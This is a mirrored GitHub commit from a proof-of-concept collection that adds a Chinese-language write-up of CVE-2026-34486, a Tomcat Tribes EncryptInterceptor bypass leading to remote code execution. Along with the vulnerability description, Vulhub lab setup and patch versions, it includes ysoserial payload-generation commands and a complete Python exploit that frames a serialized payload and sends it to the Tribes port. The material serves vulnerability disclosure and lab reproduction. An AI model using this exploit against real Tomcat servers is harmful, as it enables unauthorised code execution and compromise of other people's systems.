mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 17:04:28 +00:00
add CVE-2026-34486
This commit is contained in:
1 parent
1904470478
commit
d4f0c7f9da
4 files changed
+175
No files matched your search
@@ -0,0 +1,175 @@
|
|||||||
|
# Apache Tomcat Tribes EncryptInterceptor 绕过远程代码执行漏洞 CVE-2026-34486
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
Apache Tomcat 是一个广泛使用的开源 Java Servlet、JavaServer Pages、Java Expression Language 和 WebSocket 技术的实现。
|
||||||
|
|
||||||
|
Tomcat Tribes 是 Tomcat 推出的集群框架,启用了 Tribes 的多个 Tomcat 实例之间会通过 Java 序列化机制交换消息;当配置了 `EncryptInterceptor` 后,这些序列化字节流会被加密传输。正常情况下,接收消息的 Tomcat 实例只有在解密成功后才会对消息进行反序列化,但官方在修复 CVE-2026-29146(Tribes EncryptInterceptor Padding Oracle 漏洞)时引入了一个 Bug,导致消息解密失败时后续处理流程没有被中止,字节流无论解密是否成功都会被继续转发给下层处理器,进而被反序列化执行。攻击者只需具备 Tribes 接收端口(默认 4000)的网络访问权限,即可向其发送包含 Java 反序列化 payload 的未加密消息,完全绕过 EncryptInterceptor 的加密保护,实现远程代码执行。该漏洞影响 Apache Tomcat 9.0.116、10.1.53 和 11.0.20 版本。
|
||||||
|
|
||||||
|
满足以下条件的 Tomcat 才可以被利用:
|
||||||
|
|
||||||
|
- `<Cluster>` 在 `server.xml` 中显式启用
|
||||||
|
- `<Cluster>` 的 Channel 中配置了 `EncryptInterceptor`(未配置此拦截器的 Tribes 本就直接接受未加密消息,不属于该 CVE 的利用范畴)
|
||||||
|
- Tribes 接收端口对攻击者网络可达(默认监听在 4000 端口)
|
||||||
|
- classpath 中存在可用的反序列化利用链(如 Apache Commons Collections)
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://www.cyberkendra.com/2026/04/apache-tomcats-security-fix-opened-door.html
|
||||||
|
- https://www.herodevs.com/vulnerability-directory/cve-2026-34486
|
||||||
|
- https://github.com/advisories/GHSA-69r9-qgr7-g2wj
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
Vulhub 执行如下命令启动存在漏洞的 Tomcat 9.0.116 服务器,已启用 Tribes 集群和 EncryptInterceptor:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
服务启动后,访问 `http://your-ip:8080` 即可看到 Tomcat 默认页面。Tribes 接收端口监听在 4000 端口。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
该漏洞利用 EncryptInterceptor 的绕过缺陷,向 Tribes 接收端口发送未加密的 Java 反序列化 payload。由于漏洞容器中 classpath 已包含 `commons-collections 3.2.1`,可以使用任意 Apache Commons Collections 反序列化链来执行任意系统命令。
|
||||||
|
|
||||||
|
首先,使用 [ysoserial](https://github.com/frohoff/ysoserial)(或其他等效工具)生成序列化 payload:
|
||||||
|
|
||||||
|
```
|
||||||
|
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/awesome_poc" > payload.ser
|
||||||
|
```
|
||||||
|
|
||||||
|
然后使用提供的 `poc.py` 脚本将 payload 封装进 Tribes 数据帧,发送到接收端口:
|
||||||
|
|
||||||
|
```
|
||||||
|
python poc.py -t your-ip -p 4000 -f payload.ser
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后,通过检查容器内的文件来验证命令已被执行:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose exec tomcat ls -la /tmp/
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞 POC
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import io
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
HEADER = b"FLT2002"
|
||||||
|
FOOTER = b"TLF2003"
|
||||||
|
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
|
||||||
|
MEMBER_END = b"TRIBES-E\x01\x00"
|
||||||
|
|
||||||
|
def build_member():
|
||||||
|
p = io.BytesIO()
|
||||||
|
p.write(struct.pack(">q", 0))
|
||||||
|
p.write(struct.pack(">I", 4001))
|
||||||
|
p.write(struct.pack(">I", 0))
|
||||||
|
p.write(struct.pack(">I", 0))
|
||||||
|
host = socket.inet_aton("127.0.0.1")
|
||||||
|
p.write(struct.pack(">B", len(host)))
|
||||||
|
p.write(host)
|
||||||
|
p.write(struct.pack(">I", 0))
|
||||||
|
p.write(struct.pack(">I", 0))
|
||||||
|
p.write(b"\x00" * 16)
|
||||||
|
p.write(struct.pack(">I", 0))
|
||||||
|
body = p.getvalue()
|
||||||
|
return MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END
|
||||||
|
|
||||||
|
def build_packet(payload: bytes) -> bytes:
|
||||||
|
b = io.BytesIO()
|
||||||
|
b.write(struct.pack(">I", 0x0008))
|
||||||
|
b.write(struct.pack(">Q", int(time.time() * 1000)))
|
||||||
|
uuid = b"\x01" * 16
|
||||||
|
b.write(struct.pack(">I", len(uuid)))
|
||||||
|
b.write(uuid)
|
||||||
|
member = build_member()
|
||||||
|
b.write(struct.pack(">I", len(member)))
|
||||||
|
b.write(member)
|
||||||
|
b.write(struct.pack(">I", len(payload)))
|
||||||
|
b.write(payload)
|
||||||
|
data = b.getvalue()
|
||||||
|
return HEADER + struct.pack(">I", len(data)) + data + FOOTER
|
||||||
|
|
||||||
|
def send(host: str, port: int, packet: bytes, timeout: float) -> None:
|
||||||
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||||
|
s.settimeout(timeout)
|
||||||
|
s.connect((host, port))
|
||||||
|
s.sendall(packet)
|
||||||
|
s.shutdown(socket.SHUT_WR)
|
||||||
|
try:
|
||||||
|
s.recv(1)
|
||||||
|
except (socket.timeout, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def parse_args():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE",
|
||||||
|
epilog=(
|
||||||
|
"Generate a serialized payload first, e.g.:\n"
|
||||||
|
" java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser\n"
|
||||||
|
"Then send it:\n"
|
||||||
|
" %(prog)s -t 127.0.0.1 -p 4000 -f payload.ser"
|
||||||
|
),
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
)
|
||||||
|
parser.add_argument("-t", "--target", required=True, help="Tomcat Tribes receiver host")
|
||||||
|
parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes receiver port (default: 4000)")
|
||||||
|
parser.add_argument(
|
||||||
|
"-f", "--file", required=True,
|
||||||
|
help="Path to a Java serialized payload file (e.g. generated by ysoserial)",
|
||||||
|
)
|
||||||
|
parser.add_argument("--timeout", type=float, default=3.0, help="Socket timeout in seconds (default: 3)")
|
||||||
|
return parser.parse_args()
|
||||||
|
|
||||||
|
def main():
|
||||||
|
args = parse_args()
|
||||||
|
try:
|
||||||
|
with open(args.file, "rb") as f:
|
||||||
|
payload = f.read()
|
||||||
|
except OSError as e:
|
||||||
|
print(f"[!] Failed to read payload file: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[*] CVE-2026-34486 Tomcat Tribes EncryptInterceptor Bypass RCE")
|
||||||
|
print(f"[*] Target: {args.target}:{args.port} Payload file: {args.file}")
|
||||||
|
packet = build_packet(payload)
|
||||||
|
print(f"[+] Payload: {len(payload)}B Packet: {len(packet)}B")
|
||||||
|
|
||||||
|
try:
|
||||||
|
send(args.target, args.port, packet, args.timeout)
|
||||||
|
except OSError as e:
|
||||||
|
print(f"[!] Send failed: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
print("[+] Sent!")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
官方已经发布补丁,请更新至最新版本:
|
||||||
|
|
||||||
|
- Apache Tomcat 11.0.21
|
||||||
|
- Apache Tomcat 10.1.54
|
||||||
|
- Apache Tomcat 9.0.117
|
||||||
|
|
||||||
|
下载地址:
|
||||||
|
|
||||||
|
- https://tomcat.apache.org/download-11.cgi
|
||||||
|
- https://tomcat.apache.org/download-10.cgi
|
||||||
|
- https://tomcat.apache.org/download-90.cgi
|
||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 101 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 605 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 116 KiB |
Reference in new issue
Block a user